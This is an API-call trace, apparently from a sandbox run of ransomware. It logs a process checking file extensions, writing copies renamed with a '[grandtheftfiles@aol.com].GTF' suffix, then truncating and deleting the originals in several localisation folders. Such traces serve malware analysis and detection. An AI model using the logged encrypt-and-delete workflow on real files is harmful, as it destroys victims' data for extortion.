	[0067.151] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.152] GetLastError () returned 0x0
	[0067.152] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xf19, lpOverlapped=0x0) returned 1
	[0067.161] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf20, lpOverlapped=0x0) returned 1
	[0067.163] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.163] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0067.163] SetEndOfFile (hFile=0x31c) returned 1
	[0067.163] CloseHandle (hObject=0x31c) returned 1
	[0067.165] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.165] SetEndOfFile (hFile=0x2f8) returned 1
	[0067.166] CloseHandle (hObject=0x2f8) returned 1
	[0067.166] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.166] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1
	[0067.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.167] lstrlenW (lpString=".doc") returned 4
	[0067.167] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.167] lstrlenW (lpString=".docx") returned 5
	[0067.167] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.167] lstrlenW (lpString=".pdf") returned 4
	[0067.167] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.167] lstrlenW (lpString=".xls") returned 4
	[0067.167] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.167] lstrlenW (lpString=".xlsx") returned 5
	[0067.167] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.167] lstrlenW (lpString=".ppt") returned 4
	[0067.167] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.167] lstrlenW (lpString=".zip") returned 4
	[0067.167] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.167] lstrlenW (lpString=".rar") returned 4
	[0067.167] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.167] lstrlenW (lpString=".bz2") returned 4
	[0067.167] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.167] lstrlenW (lpString=".7z") returned 3
	[0067.167] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.167] lstrlenW (lpString=".dbf") returned 4
	[0067.167] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.167] lstrlenW (lpString=".1cd") returned 4
	[0067.167] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.167] lstrlenW (lpString=".jpg") returned 4
	[0067.167] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.168] lstrlenW (lpString=".doc") returned 4
	[0067.168] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.168] lstrlenW (lpString=".docx") returned 5
	[0067.168] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.168] lstrlenW (lpString=".pdf") returned 4
	[0067.168] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.168] lstrlenW (lpString=".xls") returned 4
	[0067.168] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.168] lstrlenW (lpString=".xlsx") returned 5
	[0067.168] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.168] lstrlenW (lpString=".ppt") returned 4
	[0067.168] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.168] lstrlenW (lpString=".zip") returned 4
	[0067.168] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.168] lstrlenW (lpString=".rar") returned 4
	[0067.168] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.168] lstrlenW (lpString=".bz2") returned 4
	[0067.168] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.168] lstrlenW (lpString=".7z") returned 3
	[0067.168] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.168] lstrlenW (lpString=".dbf") returned 4
	[0067.168] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.168] lstrlenW (lpString=".1cd") returned 4
	[0067.168] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0067.168] lstrlenW (lpString=".jpg") returned 4
	[0067.168] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.168] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0067.168] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0067.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0067.169] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=77680) returned 1
	[0067.169] CloseHandle (hObject=0x2f8) returned 1
	[0067.169] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80
	[0067.169] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0067.169] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.169] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.169] GetLastError () returned 0x0
	[0067.169] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x12f70, lpOverlapped=0x0) returned 1
	[0067.182] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x12f80, lpOverlapped=0x0) returned 1
	[0067.184] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.184] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0067.185] SetEndOfFile (hFile=0x31c) returned 1
	[0067.185] CloseHandle (hObject=0x31c) returned 1
	[0067.187] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.187] SetEndOfFile (hFile=0x2f8) returned 1
	[0067.188] CloseHandle (hObject=0x2f8) returned 1
	[0067.188] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.189] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1
	[0067.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.189] lstrlenW (lpString=".doc") returned 4
	[0067.189] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.189] lstrlenW (lpString=".docx") returned 5
	[0067.189] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.189] lstrlenW (lpString=".pdf") returned 4
	[0067.189] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.189] lstrlenW (lpString=".xls") returned 4
	[0067.189] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.189] lstrlenW (lpString=".xlsx") returned 5
	[0067.189] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.189] lstrlenW (lpString=".ppt") returned 4
	[0067.189] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.189] lstrlenW (lpString=".zip") returned 4
	[0067.769] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.769] lstrlenW (lpString=".rar") returned 4
	[0067.769] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.769] lstrlenW (lpString=".bz2") returned 4
	[0067.769] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.769] lstrlenW (lpString=".7z") returned 3
	[0067.769] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.769] lstrlenW (lpString=".dbf") returned 4
	[0067.769] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.769] lstrlenW (lpString=".1cd") returned 4
	[0067.769] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.769] lstrlenW (lpString=".jpg") returned 4
	[0067.769] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.770] lstrlenW (lpString=".doc") returned 4
	[0067.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.770] lstrlenW (lpString=".docx") returned 5
	[0067.770] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.770] lstrlenW (lpString=".pdf") returned 4
	[0067.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.770] lstrlenW (lpString=".xls") returned 4
	[0067.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.770] lstrlenW (lpString=".xlsx") returned 5
	[0067.770] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.770] lstrlenW (lpString=".ppt") returned 4
	[0067.770] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.770] lstrlenW (lpString=".zip") returned 4
	[0067.770] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.770] lstrlenW (lpString=".rar") returned 4
	[0067.770] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.770] lstrlenW (lpString=".bz2") returned 4
	[0067.770] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.770] lstrlenW (lpString=".7z") returned 3
	[0067.770] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.770] lstrlenW (lpString=".dbf") returned 4
	[0067.770] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.770] lstrlenW (lpString=".1cd") returned 4
	[0067.770] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44
	[0067.770] lstrlenW (lpString=".jpg") returned 4
	[0067.770] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.771] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0067.771] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0067.771] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0067.771] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=60684) returned 1
	[0067.771] CloseHandle (hObject=0x33c) returned 1
	[0067.771] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80
	[0067.771] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.771] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0067.771] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.771] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.771] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.772] GetLastError () returned 0x0
	[0067.772] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xed0c, lpOverlapped=0x0) returned 1
	[0067.820] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xed10, lpOverlapped=0x0) returned 1
	[0067.821] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.822] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0067.822] SetEndOfFile (hFile=0x340) returned 1
	[0067.822] CloseHandle (hObject=0x340) returned 1
	[0067.824] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.824] SetEndOfFile (hFile=0x33c) returned 1
	[0067.825] CloseHandle (hObject=0x33c) returned 1
	[0067.825] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.825] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1
	[0067.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.826] lstrlenW (lpString=".doc") returned 4
	[0067.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.826] lstrlenW (lpString=".docx") returned 5
	[0067.826] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.826] lstrlenW (lpString=".pdf") returned 4
	[0067.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.826] lstrlenW (lpString=".xls") returned 4
	[0067.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.826] lstrlenW (lpString=".xlsx") returned 5
	[0067.826] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.826] lstrlenW (lpString=".ppt") returned 4
	[0067.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.826] lstrlenW (lpString=".zip") returned 4
	[0067.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.826] lstrlenW (lpString=".rar") returned 4
	[0067.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.826] lstrlenW (lpString=".bz2") returned 4
	[0067.826] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.826] lstrlenW (lpString=".7z") returned 3
	[0067.826] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.826] lstrlenW (lpString=".dbf") returned 4
	[0067.826] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.826] lstrlenW (lpString=".1cd") returned 4
	[0067.826] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.826] lstrlenW (lpString=".jpg") returned 4
	[0067.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.826] lstrlenW (lpString=".doc") returned 4
	[0067.827] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.827] lstrlenW (lpString=".docx") returned 5
	[0067.827] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.827] lstrlenW (lpString=".pdf") returned 4
	[0067.827] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.827] lstrlenW (lpString=".xls") returned 4
	[0067.827] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.827] lstrlenW (lpString=".xlsx") returned 5
	[0067.827] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.827] lstrlenW (lpString=".ppt") returned 4
	[0067.827] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.827] lstrlenW (lpString=".zip") returned 4
	[0067.827] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.827] lstrlenW (lpString=".rar") returned 4
	[0067.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.827] lstrlenW (lpString=".bz2") returned 4
	[0067.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.827] lstrlenW (lpString=".7z") returned 3
	[0067.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.827] lstrlenW (lpString=".dbf") returned 4
	[0067.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.827] lstrlenW (lpString=".1cd") returned 4
	[0067.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.827] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0067.827] lstrlenW (lpString=".jpg") returned 4
	[0067.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.827] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0067.827] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0067.827] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0067.828] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=60816) returned 1
	[0067.828] CloseHandle (hObject=0x33c) returned 1
	[0067.828] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80
	[0067.828] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.828] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0067.828] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.828] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.828] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.828] GetLastError () returned 0x0
	[0067.828] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xed90, lpOverlapped=0x0) returned 1
	[0068.289] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xeda0, lpOverlapped=0x0) returned 1
	[0068.293] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.293] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0068.293] SetEndOfFile (hFile=0x340) returned 1
	[0068.293] CloseHandle (hObject=0x340) returned 1
	[0068.295] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.295] SetEndOfFile (hFile=0x33c) returned 1
	[0068.296] CloseHandle (hObject=0x33c) returned 1
